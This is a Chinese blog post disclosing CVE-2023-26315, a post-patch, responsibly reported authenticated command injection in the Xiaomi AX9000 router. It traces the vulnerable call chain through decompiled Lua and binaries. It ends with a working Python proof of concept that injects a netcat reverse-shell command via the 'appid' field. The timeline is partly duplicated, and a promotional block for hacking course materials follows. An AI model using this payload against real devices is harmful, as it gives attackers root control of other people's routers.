小米AX9000路由器CVE-2023-26315漏洞挖掘

为了赏金挖洞,为了稿费发文,又要到饭了兄弟们!

前言

一年多前,看到小米SRC公众号推文搞了个赏金活动,于是挖了挖当时比较新的一款AX9000路由器,挖到了两个命令注入漏洞,不过没什么本事,挖的都是授权后的,危害一般。小米给的赏金还是很可观的,但是补丁发布的速度不知为何比较慢(交了这么多厂商,还是Zyxel和华硕的响应速度最快),所以一直也没能分配CVE编号,我也遵守小米的规定在漏洞披露前未公开相关漏洞细节。

直到最近和其他朋友聊起这个漏洞,才想起来已经过去了一年多,应该是能公开了,于是又去找了小米SRC的运营小姐姐。经过一些流程的审批,得知这两个漏洞的确是已经推送完补丁可以披露了。不过有趣的是,小米申请的2023CVE编号只剩一个了,2024的新编号还没申请,于是只先分配了一个漏洞的CVE,还有一个得等新编号。

正好和朋友聊到这个漏洞,也顺带回忆并简单记录了一下,想着既然写了就发出来吧。我这里也就先公开一个漏洞吧,另外一个后面看情况。时间有限,写的比较简略,希望能给各位师傅带来些许启发。

之后,可能会整理一些漏洞报告以及自己写的小工具放在我的Github上:https://github.com/winmt

漏洞信息

漏洞编号: CVE-2023-26315 / CNVD-2024-23093

安全通告及致谢:

https://trust.mi.com/zh-CN/misrc/bulletins/advisory?cveId=546

https://trust.mi.com/misrc/bulletins/advisory?cveId=546

漏洞描述: 小米AX9000路由器在1.0.168版本及之前存在二进制漏洞(命令注入),该漏洞由于未对非法的appid做出有效限制而引起。已授权登录的攻击者在成功利用此漏洞后,可在远程目标设备上执行任意命令,并获得设备的最高控制权,造成权限提升。

BUT,怎么算CVSS Score应该都是7.2+高危,不太清楚官方的6.5是咋算的了QAQ

img

关于修复后的1.0.174版本的固件,厂商说明目前已经直接由云端推送补丁。

准备工作

首先,可以从官网下载对应版本的固件:小米路由器AX9000 稳定版 1.0.168

小米的固件最外面用的是UBIFS文件系统,固件本身没有加密,先用binwalk解出一个.ubi文件,然后用ubireader_extract_images xxx.ubi,可以在ubifs-root内解出三个.ubifs文件,对其中的xxx-ubi_rootfs.ubifsbinwalk再解开,即可得到里面的SquashFS文件系统,也就是核心部分。

小米的前端也是用的Lua编写的,但是其中的Lua文件不是源码,而是编译后的二进制文件,所以我们需要对其进行反编译。目前,对Lua反编译的常用工具有unluacluadec。但是小米对Lua的解释器做了魔改,就不能直接用这两个工具进行反编译了,所幸已有师傅对此做了研究,并给出了专门针对小米固件的反编译工具unluac_miwifiluadec_miwifi。至于如何对被魔改的解释器或编译器所编译出来的Lua字节码进行逆向,网上也有不少文章,这里不再展开。

我这里用的是unluac_miwifi,最终可以编译出一个unluac.jar,但一次只能对一个Lua文件进行反编译,所以我们需要写一个批量处理的简单脚本:

import os

res = os.popen("find ./ -name *.lua").readlines()

for i in range(0, len(res)) :
    path = res[i].strip("\n")
    cmd = "java -jar /home/winmt/unluac_miwifi/build/unluac.jar " + path + " > " + path + ".dis"
    print(cmd)
    os.system(cmd)

小米AX9000路由器固件是AArch64el架构的,由于网上似乎没有公开的AArch64的内核与文件系统,系统级仿真可参考下面这篇文章的步骤extract出来vmlinuzinitrd.img:https://www.diozero.com/boards/qemuaarch64_bullseye.html

此外,小米AX9000的固件中采用了Apache Thrift的框架,使用C++编写的版本,相关源码可见:https://github.com/apache/thrift/tree/master/lib/cpp/src/thrift ,也可参考网络上其他资料,初步认识后对接下来的逆向分析可能会有一些帮助。

漏洞细节

此部分只对该漏洞调用链做大致的分析,感兴趣的师傅可继续深入逆向分析相关细节。

在反编译的/usr/lib/lua/luci/controller/api/xqdatacenter.lua中,可以看到 URL /api/xqdatacenter/request 相关的handler函数是tunnelRequest函数,且访问/api/xqdatacenter这个节点是需要鉴权的(鉴权过程可在/usr/lib/lua/luci/dispatcher.luaauthenticator.jsonauth函数中找到):

function L0()
    local L0, L1, L2, L3, L4, L5, L6
    L0 = node
    L1 = "api"
    L2 = "xqdatacenter"
    L0 = L0(L1, L2)
    L1 = firstchild
    L1 = L1()
    L0.target = L1
    L0.title = ""
    L0.order = 300
    L0.sysauth = "admin"
    L0.sysauth_authenticator = "jsonauth"
    L0.index = true
    ...
    L1 = entry
    L2 = {}
    L3 = "api"
    L4 = "xqdatacenter"
    L5 = "request"
    L2[1] = L3
    L2[2] = L4
    L2[3] = L5
    L3 = call
    L4 = "tunnelRequest"
    L3 = L3(L4)
    L4 = _
    L5 = ""
    L4 = L4(L5)
    L5 = 301
    L1(L2, L3, L4, L5)
    ...
end
index = L0

在函数tunnelRequest中,会对传入payload字段内的JSON数据(此处用的是formvalue_unsafe获取内容,显然这是一个不安全的函数,未过滤危险字符)用binaryBase64Enc函数在转成二进制后,进行Base64编码处理,然后拼接入THRIFT_TUNNEL_TO_DATACENTER所指代的命令中并执行。

function L5()
  local L0, L1, L2, L3, L4, L5, L6, L7, L8
  L0 = require
  L1 = "xiaoqiang.util.XQCryptoUtil"
  L0 = L0(L1)
  L1 = L0.binaryBase64Enc
  L2 = _UPVALUE0_
  L2 = L2.formvalue_unsafe
  L3 = "payload"
  L2, L3, L4, L5, L6, L7, L8 = L2(L3)
  L1 = L1(L2, L3, L4, L5, L6, L7, L8)
  L2 = _UPVALUE1_
  L2 = L2.THRIFT_TUNNEL_TO_DATACENTER
  L2 = L2 % L1
  L3 = require
  L4 = "luci.util"
  L3 = L3(L4)
  L4 = _UPVALUE0_
  L4 = L4.write
  L5 = L3.exec
  L6 = L2
  L5 = L5(L6)
  L6 = nil
  L7 = false
  L8 = true
  L4(L5, L6, L7, L8)
end
tunnelRequest = L5

/usr/lib/lua/xiaoqiang/common/XQConfigs.lua中,可以找到THRIFT_TUNNEL_TO_DATACENTER的相关定义:

L0 = "thrifttunnel 0 '%s'"
THRIFT_TUNNEL_TO_DATACENTER = L0
L0 = "thrifttunnel 1 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME = L0
L0 = "thrifttunnel 2 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER = L0
L0 = "thrifttunnel 3 ''"
THRIFT_TO_MQTT_IDENTIFY_DEVICE = L0
L0 = "thrifttunnel 4 ''"
THRIFT_TO_MQTT_GET_SN = L0
L0 = "thrifttunnel 5 ''"
THRIFT_TO_MQTT_GET_DEVICEID = L0
L0 = "thrifttunnel 6 '%s'"
THRIFT_TUNNEL_TO_MIIO = L0
L0 = "thrifttunnel 7 '%s'"
THRIFT_TUNNEL_TO_YEELINK = L0
L0 = "thrifttunnel 8 '%s'"
THRIFT_TUNNEL_TO_CACHECENTER = L0

可以看到,THRIFT_TUNNEL_TO_DATACENTER所指代的命令为thrifttunnel 0 '%s'。因此,最终所执行的完整命令是thrifttunnel 0 'base64编码的payload字段',即payload字段中被Base64编码后的Json数据会被传入thrifttunnel程序中,且option0

/usr/sbin/thriftunnel二进制文件中,*(a2 + 16)是传入的第二个参数,即Base64编码后的payload字段内的Json数据,其作为第一个参数被传入sub_1B9B0函数中,而sub_1B9B0函数的第二个参数v11此时是空串。

在这里插入图片描述

进入sub_1B9B0函数后,可以发现首先将与a1Base64编码的payload字段)相关的数据作为参数传入了sub_1F1F8函数处理,并最终将其返回结果通过string::assign()赋值给了a2(即上一级的v11变量)。

img

sub_1F1F8函数看上去是做了一些编码转换的操作,可以猜测到这里就是做了Base64的解码工作。我们很容易根据其中抛出的异常信息确认我们的猜测,这里的确就是将payload字段内的Json数据进行了Base64解码。

在这里插入图片描述

我们再返回到主函数,进而当*(a2 + 8)即传入的第一个参数option0时,会执行到sub_1BAE0函数,根据上文分析,其参数v11就是解码后的Json字符串。

img

sub_1BAE0函数中,创建了socket,结合传入的参数(上级的v11变量)是Json字符串,很容易判断出此处会将payload字段的Json数据发送给本地127.0.0.19090端口(这里保护了端口的安全性,没有对外开放,我们想要找到未授权口而悬着的心也终于死了)。

img

/usr/sbin/datacenter程序一直挂在进程中,监听着9090端口,故我们的数据被传到了datacenter程序进一步处理。

img

datacenterconstructAPIMappingTable()函数里分别执行了三个类的sConstructMappingTable()函数。

img

其中,都是通过STL map建立起了api编号(下文解释)和对应的处理函数handler间的映射关系。具体来看,有一些api是直接在datacenter中被处理的,有些是被进一步转发到了/usr/sbin/indexservice9088端口)处理,另外一些则是被转发到了/usr/sbin/plugincenter9091端口)中进一步处理。

我们在这里直接定位到该漏洞对应的api,在datacenter::PluginApiCollection::sConstructMappingTable中,当api629的时候,对应的handlercallPluginCenter,其实从函数名就能看出来作用了,就是转发给plugincenter

在这里插入图片描述

进去简单看一下,的确是发送给了本地的9091端口(同样,容易在plugincenter程序中找到,其监听着9091端口)。

img

DataCenterHandler::request函数中,在调用APIMapping::APIMapping函数建立好上述的映射关系表后,紧接着调用了APIMapping::redirectRequest函数。其中,先获取了Json对象中的api字段的值,存放在v8变量中,然后经历了一个for循环,其中有对v8值的判断比较,最后执行了一个函数指针。这里需要稍微解释一下,此处的a1就是上面建立的map映射表,类型是std::map<int,void (*)(json_object *,std::string &)>,即第一个元素(键值)是整数,第二个元素(实值)是函数指针。所以此处的for循环就是对map的操作,但是都是用的偏移值,不好看出来具体是什么,其实这里也没必要去查源码,我们直接自己写一个map容器的遍历,然后静态编译出来,反编译后这些偏移值的含义也就都清楚了。此处的for循环其实就是执行了map.find()的操作,寻找了mapkeyv8(即api值)的迭代器,偏移+32就是第一个键值元素(api值),偏移+40则是第二个实值元素(handler的函数指针)。显然,此处就是根据传入的api字段值调用对应的handler的过程。到这里,上述建立的Mapping Table中的映射关系也更加明朗了。

img

上文说过,当api629时,传入的payload字段的数据会被转发给plugincenter程序处理。所以最后来到了/usr/sbin/plugincenter程序中,找到datacenter::PluginApiMappingExtendCollection::sConstructMappingTable函数,仍然是通过map建立了api编号和对应handler函数的映射关系。可以看到,当api编号为629的时候,会执行到parseGetIdForVendor函数进行处理。

img

parseGetIdForVendor函数中,会将传入的Json数据内的appid字段作为参数传递到PluginApi::getIdForVendor函数中。

img

PluginApi::getIdForVendor函数中,可以很明显地发现:即使appid字段合法性检查不通过,也会被拼接入命令中并执行。显然,这里是一个开发上的疏忽,在判断!IsValidAppId的条件分支内,在输出报错信息后,应当在最后加上return ;返回,不能继续执行下去。

img

因此,这里存在一个命令注入漏洞,该漏洞调用链至此分析完毕。

Poc及演示结果

这里需要自行更改一下相关IPToken值,此处注入了反弹shell的命令,端口8888

import requests

server_ip = "192.168.50.1"
client_ip = "192.168.50.105"
token = "814c55713043e7358d3c1f42f2a98438"

nc_shell = ";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} 8888 >/tmp/f;".format(client_ip)

res = requests.post("http://{}/cgi-bin/luci/;stok={}/api/xqdatacenter/request".format(server_ip, token), data={'payload':'{"api":629, "appid":"' + nc_shell + '"}'})

print(res.text)

img

写在最后

此篇文章仅作抛砖引玉,在datacenterplugincenter以及indexservice内不同apihandler函数可能就有几百个(当然这里可以结合fuzz),以及thriftunnel的其他option操作也这么往下挖下去,我想应该也会存在漏洞。笔者也只是在小米当时赏金活动那几天大概看了看,后续也没再继续深入看这些地方了,本来想留着后面继续挖的,但是准备了一年保研感觉心态发生了一些奇妙的变化,研究生可能更想去尝试下其他更深入的方面,不想再做单纯的这样挖洞了,所以也就放出来了。感兴趣的读者可继续探索,挖到了也可以分享在评论区。


时间线:

  • 2023-03-26 提交漏洞报告至小米安全中心(Xiaomi Security Center)
  • 2023-04-03 厂商验证后确认两个漏洞存在,并开始修复漏洞
  • 2023-05-24 两个漏洞的赏金均到账(活动期间还翻倍了,挺爽)
  • 2023-06-09 厂商告知漏洞已全部修复完成(但似乎补丁未立即发布)
  • 2024-05-09 联系厂商分配其中一个漏洞编号 CVE-2023-26315 并披露
    分享在评论区。

时间线:

  • 2023-03-26 提交漏洞报告至小米安全中心(Xiaomi Security Center)
  • 2023-04-03 厂商验证后确认两个漏洞存在,并开始修复漏洞
  • 2023-05-24 两个漏洞的赏金均到账(活动期间还翻倍了,挺爽)
  • 2023-06-09 厂商告知漏洞已全部修复完成(但似乎补丁未立即发布)
  • 2024-05-09 联系厂商分配其中一个漏洞编号 CVE-2023-26315 并披露
  • 2024-06-12 CNVD 收录本文漏洞,分配编号 CNVD-2024-23093 并公开

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习资源分享:

给大家分享我自己学习的一份全套的网络安全学习资料,希望对想学习 网络安全的小伙伴们有帮助!

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

【点击免费领取】CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》

1.学习路线图

在这里插入图片描述

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。【点击领取视频教程】

在这里插入图片描述

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取技术文档】

在这里插入图片描述

(都打包成一块的了,不能一一展开,总共300多集)

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取书籍】

在这里插入图片描述

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

在这里插入图片描述

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

👋全套《黑客&网络安全入门&进阶学习资源包》👇👇👇

这份完整版的学习资料已经上传CSDN,也可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费

img

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

颜若御

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值